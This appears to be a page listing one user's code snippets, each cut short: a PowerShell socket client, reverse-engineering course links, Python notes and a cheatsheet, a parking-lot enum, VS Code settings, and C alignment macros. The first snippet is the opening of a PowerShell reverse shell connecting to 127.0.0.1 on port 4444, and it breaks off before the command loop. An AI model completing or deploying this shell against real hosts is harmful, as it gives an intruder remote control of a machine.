IdanBanani

$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 4444);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
	$writer.Flush();
	$read = $null;

IdanBanani

Reversing / Malware Analysis / Assembly -resources

Reverse engineering focusing on x64 Windows.

https://github.com/0xZ0F/Z0FCourse_ReverseEngineering

Applied Reverse Engineering Series

IdanBanani

# -*- coding: utf-8 -*-
# To list this file sections: $ grep '^"" ' notes.py

"""""""""""""
"" Why Python ?
"""""""""""""
- extremely readable (cf. zen of Python + [this 2013 study](http://redmonk.com/dberkholz/2013/03/25/programming-languages-ranked-by-expressiveness/))
- simple & fast to write
- very popular (taught in many universities)
- has an extremely active development community

IdanBanani

from enum import Enum


class VehicleType(Enum):
    CAR, TRUCK, ELECTRIC, VAN, MOTORBIKE = 1, 2, 3, 4, 5


class ParkingSpotType(Enum):
    HANDICAPPED, COMPACT, LARGE, MOTORBIKE, ELECTRIC = 1, 2, 3, 4, 5

IdanBanani

{
    "code-runner.clearPreviousOutput": true,
    "code-runner.showExecutionMessage": false,
    "code-runner.ignoreSelection": true,
    "code-runner.runInTerminal": true,
    "code-runner.saveFileBeforeRun": true,
    "diffEditor.renderSideBySide": true,
    "debug.console.fontFamily": "Source Code Pro",
    "debug.console.fontSize": 22,
    "enableTelemetry": true,

IdanBanani

Some Info

Script typically has #! at front (usually called hash bang like what it is like in Perl)

• in UNIX like system, chmod +x myscript.py and include a #! in the file would make it executable scripting
• #!/usr/local/bin/python
• UNIX Python path look-up trick: can also use #!/usr/bin/env python to let the system finds the path for you

Some Special Reserved Words

• Single underscore ‘_’ contains the last evaluated value
  • a = 3 a _ #gives 3 notice must explicitly call a, then call _

IdanBanani

Python Cheatsheet
=================

 ################################ Input & Output ###############################
name = input('please enter your name: ')
print('hello,', name)
ageStr = input('please enter your age: ')
age = int(ageStr)

IdanBanani

//#include <stdio.h>
#include <stddef.h>
//#include <stdint.h>
//#include <inttypes.h>
#include <math.h>
#include <limits.h>

#define ALIGNMENT 8 // must be a power of 2

#define ALIGN(size) (((size) + (ALIGNMENT-1)) & ~(ALIGNMENT-1))